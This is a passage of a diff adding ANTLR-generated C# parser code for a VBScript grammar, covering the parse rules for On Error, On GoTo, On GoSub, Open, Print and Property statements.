[System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ON_ERROR() { return GetToken(VBScriptParser.ON_ERROR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ON_LOCAL_ERROR() { return GetToken(VBScriptParser.ON_LOCAL_ERROR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GOTO() { return GetToken(VBScriptParser.GOTO, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RESUME() { return GetToken(VBScriptParser.RESUME, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEXT() { return GetToken(VBScriptParser.NEXT, 0); } + public OnErrorStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_onErrorStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterOnErrorStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitOnErrorStmt(this); + } + } + + [RuleVersion(0)] + public OnErrorStmtContext onErrorStmt() { + OnErrorStmtContext _localctx = new OnErrorStmtContext(Context, State); + EnterRule(_localctx, 158, RULE_onErrorStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1682; + _la = TokenStream.LA(1); + if ( !(_la==ON_ERROR || _la==ON_LOCAL_ERROR) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 1683; + Match(WS); + State = 1690; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case GOTO: + { + State = 1684; + Match(GOTO); + State = 1685; + Match(WS); + State = 1686; + valueStmt(0); + } + break; + case RESUME: + { + State = 1687; + Match(RESUME); + State = 1688; + Match(WS); + State = 1689; + Match(NEXT); + } + break; + default: + throw new NoViableAltException(this); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class OnGoToStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ON() { return GetToken(VBScriptParser.ON, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GOTO() { return GetToken(VBScriptParser.GOTO, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public OnGoToStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_onGoToStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterOnGoToStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitOnGoToStmt(this); + } + } + + [RuleVersion(0)] + public OnGoToStmtContext onGoToStmt() { + OnGoToStmtContext _localctx = new OnGoToStmtContext(Context, State); + EnterRule(_localctx, 160, RULE_onGoToStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1692; + Match(ON); + State = 1693; + Match(WS); + State = 1694; + valueStmt(0); + State = 1695; + Match(WS); + State = 1696; + Match(GOTO); + State = 1697; + Match(WS); + State = 1698; + valueStmt(0); + State = 1709; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,241,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 1700; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1699; + Match(WS); + } + } + + State = 1702; + Match(COMMA); + State = 1704; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,240,Context) ) { + case 1: + { + State = 1703; + Match(WS); + } + break; + } + State = 1706; + valueStmt(0); + } + } + } + State = 1711; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,241,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class OnGoSubStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ON() { return GetToken(VBScriptParser.ON, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GOSUB() { return GetToken(VBScriptParser.GOSUB, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public OnGoSubStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_onGoSubStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterOnGoSubStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitOnGoSubStmt(this); + } + } + + [RuleVersion(0)] + public OnGoSubStmtContext onGoSubStmt() { + OnGoSubStmtContext _localctx = new OnGoSubStmtContext(Context, State); + EnterRule(_localctx, 162, RULE_onGoSubStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1712; + Match(ON); + State = 1713; + Match(WS); + State = 1714; + valueStmt(0); + State = 1715; + Match(WS); + State = 1716; + Match(GOSUB); + State = 1717; + Match(WS); + State = 1718; + valueStmt(0); + State = 1729; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,244,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 1720; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1719; + Match(WS); + } + } + + State = 1722; + Match(COMMA); + State = 1724; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,243,Context) ) { + case 1: + { + State = 1723; + Match(WS); + } + break; + } + State = 1726; + valueStmt(0); + } + } + } + State = 1731; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,244,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class OpenStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OPEN() { return GetToken(VBScriptParser.OPEN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FOR() { return GetToken(VBScriptParser.FOR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode AS() { return GetToken(VBScriptParser.AS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode APPEND() { return GetToken(VBScriptParser.APPEND, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BINARY() { return GetToken(VBScriptParser.BINARY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INPUT() { return GetToken(VBScriptParser.INPUT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OUTPUT() { return GetToken(VBScriptParser.OUTPUT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RANDOM() { return GetToken(VBScriptParser.RANDOM, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ACCESS() { return GetToken(VBScriptParser.ACCESS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LEN() { return GetToken(VBScriptParser.LEN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode READ() { return GetToken(VBScriptParser.READ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WRITE() { return GetToken(VBScriptParser.WRITE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode READ_WRITE() { return GetToken(VBScriptParser.READ_WRITE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SHARED() { return GetToken(VBScriptParser.SHARED, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LOCK_READ() { return GetToken(VBScriptParser.LOCK_READ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LOCK_WRITE() { return GetToken(VBScriptParser.LOCK_WRITE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LOCK_READ_WRITE() { return GetToken(VBScriptParser.LOCK_READ_WRITE, 0); } + public OpenStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_openStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterOpenStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitOpenStmt(this); + } + } + + [RuleVersion(0)] + public OpenStmtContext openStmt() { + OpenStmtContext _localctx = new OpenStmtContext(Context, State); + EnterRule(_localctx, 164, RULE_openStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1732; + Match(OPEN); + State = 1733; + Match(WS); + State = 1734; + valueStmt(0); + State = 1735; + Match(WS); + State = 1736; + Match(FOR); + State = 1737; + Match(WS); + State = 1738; + _la = TokenStream.LA(1); + if ( !(_la==APPEND || _la==BINARY || ((((_la - 81)) & ~0x3f) == 0 && ((1L << (_la - 81)) & 4507997673881601L) != 0)) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 1743; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,245,Context) ) { + case 1: + { + State = 1739; + Match(WS); + State = 1740; + Match(ACCESS); + State = 1741; + Match(WS); + State = 1742; + _la = TokenStream.LA(1); + if ( !(((((_la - 136)) & ~0x3f) == 0 && ((1L << (_la - 136)) & 8796093022211L) != 0)) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + break; + } + State = 1747; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,246,Context) ) { + case 1: + { + State = 1745; + Match(WS); + State = 1746; + _la = TokenStream.LA(1); + if ( !(((((_la - 94)) & ~0x3f) == 0 && ((1L << (_la - 94)) & 288230376151711751L) != 0)) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + break; + } + State = 1749; + Match(WS); + State = 1750; + Match(AS); + State = 1751; + Match(WS); + State = 1752; + valueStmt(0); + State = 1763; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,249,Context) ) { + case 1: + { + State = 1753; + Match(WS); + State = 1754; + Match(LEN); + State = 1756; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1755; + Match(WS); + } + } + + State = 1758; + Match(EQ); + State = 1760; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,248,Context) ) { + case 1: + { + State = 1759; + Match(WS); + } + break; + } + State = 1762; + valueStmt(0); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class OutputListContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public OutputList_ExpressionContext[] outputList_Expression() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public OutputList_ExpressionContext outputList_Expression(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] SEMICOLON() { return GetTokens(VBScriptParser.SEMICOLON); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SEMICOLON(int i) { + return GetToken(VBScriptParser.SEMICOLON, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public OutputListContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_outputList; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterOutputList(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitOutputList(this); + } + } + + [RuleVersion(0)] + public OutputListContext outputList() { + OutputListContext _localctx = new OutputListContext(Context, State); + EnterRule(_localctx, 166, RULE_outputList); + int _la; + try { + int _alt; + State = 1798; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,259,Context) ) { + case 1: + EnterOuterAlt(_localctx, 1); + { + State = 1765; + outputList_Expression(); + State = 1778; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,253,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 1767; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1766; + Match(WS); + } + } + + State = 1769; + _la = TokenStream.LA(1); + if ( !(_la==COMMA || _la==SEMICOLON) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 1771; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,251,Context) ) { + case 1: + { + State = 1770; + Match(WS); + } + break; + } + State = 1774; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,252,Context) ) { + case 1: + { + State = 1773; + outputList_Expression(); + } + break; + } + } + } + } + State = 1780; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,253,Context); + } + } + break; + case 2: + EnterOuterAlt(_localctx, 2); + { + State = 1782; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,254,Context) ) { + case 1: + { + State = 1781; + outputList_Expression(); + } + break; + } + State = 1794; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1785; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1784; + Match(WS); + } + } + + State = 1787; + _la = TokenStream.LA(1); + if ( !(_la==COMMA || _la==SEMICOLON) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 1789; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,256,Context) ) { + case 1: + { + State = 1788; + Match(WS); + } + break; + } + State = 1792; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,257,Context) ) { + case 1: + { + State = 1791; + outputList_Expression(); + } + break; + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1796; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,258,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class OutputList_ExpressionContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SPC() { return GetToken(VBScriptParser.SPC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TAB() { return GetToken(VBScriptParser.TAB, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ArgsCallContext argsCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public OutputList_ExpressionContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_outputList_Expression; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterOutputList_Expression(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitOutputList_Expression(this); + } + } + + [RuleVersion(0)] + public OutputList_ExpressionContext outputList_Expression() { + OutputList_ExpressionContext _localctx = new OutputList_ExpressionContext(Context, State); + EnterRule(_localctx, 168, RULE_outputList_Expression); + int _la; + try { + State = 1817; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,264,Context) ) { + case 1: + EnterOuterAlt(_localctx, 1); + { + State = 1800; + _la = TokenStream.LA(1); + if ( !(_la==SPC || _la==TAB) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 1814; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,263,Context) ) { + case 1: + { + State = 1802; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1801; + Match(WS); + } + } + + State = 1804; + Match(LPAREN); + State = 1806; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,261,Context) ) { + case 1: + { + State = 1805; + Match(WS); + } + break; + } + State = 1808; + argsCall(); + State = 1810; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1809; + Match(WS); + } + } + + State = 1812; + Match(RPAREN); + } + break; + } + } + break; + case 2: + EnterOuterAlt(_localctx, 2); + { + State = 1816; + valueStmt(0); + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class PrintStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PRINT() { return GetToken(VBScriptParser.PRINT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA() { return GetToken(VBScriptParser.COMMA, 0); } + [System.Diagnostics.DebuggerNonUserCode] public OutputListContext outputList() { + return GetRuleContext(0); + } + public PrintStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_printStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterPrintStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitPrintStmt(this); + } + } + + [RuleVersion(0)] + public PrintStmtContext printStmt() { + PrintStmtContext _localctx = new PrintStmtContext(Context, State); + EnterRule(_localctx, 170, RULE_printStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1819; + Match(PRINT); + State = 1820; + Match(WS); + State = 1821; + valueStmt(0); + State = 1832; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,268,Context) ) { + case 1: + { + State = 1823; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1822; + Match(WS); + } + } + + State = 1825; + Match(COMMA); + State = 1830; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,267,Context) ) { + case 1: + { + State = 1827; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,266,Context) ) { + case 1: + { + State = 1826; + Match(WS); + } + break; + } + State = 1829; + outputList(); + } + break; + } + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class PropertyGetStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PROPERTY_GET() { return GetToken(VBScriptParser.PROPERTY_GET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END_PROPERTY() { return GetToken(VBScriptParser.END_PROPERTY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public VisibilityContext visibility() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STATIC() { return GetToken(VBScriptParser.STATIC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ArgListContext argList() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public AsTypeClauseContext asTypeClause() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public PropertyGetStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_propertyGetStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterPropertyGetStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitPropertyGetStmt(this); + } + } + + [RuleVersion(0)] + public PropertyGetStmtContext propertyGetStmt() { + PropertyGetStmtContext _localctx = new PropertyGetStmtContext(Context, State); + EnterRule(_localctx, 172, RULE_propertyGetStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1837; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 70)) & ~0x3f) == 0 && ((1L << (_la - 70)) & 2449958197289549841L) != 0)) { + { + State = 1834; + visibility(); + State = 1835; + Match(WS); + } + } + + State = 1841; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==STATIC) { + { + State = 1839; + Match(STATIC); + State = 1840; + Match(WS); + } + } + + State = 1843; + Match(PROPERTY_GET); + State = 1844; + Match(WS); + State = 1845; + ambiguousIdentifier(); + State = 1847; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 181)) & ~0x3f) == 0 && ((1L << (_la - 181)) & 1050917L) != 0)) { + { + State = 1846; + typeHint(); + } + } + + State = 1853; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,273,Context) ) { + case 1: + { + State = 1850; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1849; + Match(WS); + } + } + + State = 1852; + argList(); + } + break; + } + State = 1857; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1855; + Match(WS); + State = 1856; + asTypeClause(); + } + } + + State = 1860; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1859; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1862; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,275,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 1870; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & -216067229064628226L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & -270216225676591105L) != 0) || ((((_la - 131)) & ~0x3f) == 0 && ((1L << (_la - 131)) & 361413870062927807L) != 0) || ((((_la - 208)) & ~0x3f) == 0 && ((1L << (_la - 208)) & 37889L) != 0)) { + { + State = 1864; + block(); + State = 1866; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1865; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1868; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + } + + State = 1872; + Match(END_PROPERTY); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class PropertySetStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PROPERTY_SET() { return GetToken(VBScriptParser.PROPERTY_SET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int 